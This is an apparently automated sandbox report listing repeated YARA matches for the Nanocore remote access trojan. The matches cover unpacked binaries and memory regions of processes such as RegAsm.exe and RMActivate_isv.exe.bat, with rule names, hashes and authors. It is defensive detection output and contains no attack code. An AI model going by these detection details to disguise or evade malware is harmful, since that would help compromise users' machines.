        Source: 13.2.RegAsm.exe.424e424.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 13.2.RegAsm.exe.32116dc.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.32116dc.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 13.2.RegAsm.exe.4252a4d.4.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.4252a4d.4.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 22.2.RegAsm.exe.30a3c68.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 22.2.RegAsm.exe.30a3c68.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 14.3.RMActivate_isv.exe.bat.356e018.6.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 14.3.RMActivate_isv.exe.bat.356e018.6.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000016.00000002.611621495.0000000004081000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0000000D.00000002.616663037.00000000056F0000.00000004.00020000.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0000000D.00000002.616663037.00000000056F0000.00000004.00020000.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, type: MEMORYMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: Process Memory Space: wIQLBHYbqz.exe PID: 4904, type: MEMORYSTRMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: Process Memory Space: wIQLBHYbqz.exe PID: 4904, type: MEMORYSTRMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: Process Memory Space: RegAsm.exe PID: 4936, type: MEMORYSTRMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: Process Memory Space: RegAsm.exe PID: 4936, type: MEMORYSTRMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: Process Memory Space: RMActivate_isv.exe.bat PID: 6788, type: MEMORYSTRMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: Process Memory Space: RMActivate_isv.exe.bat PID: 6788, type: MEMORYSTRMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
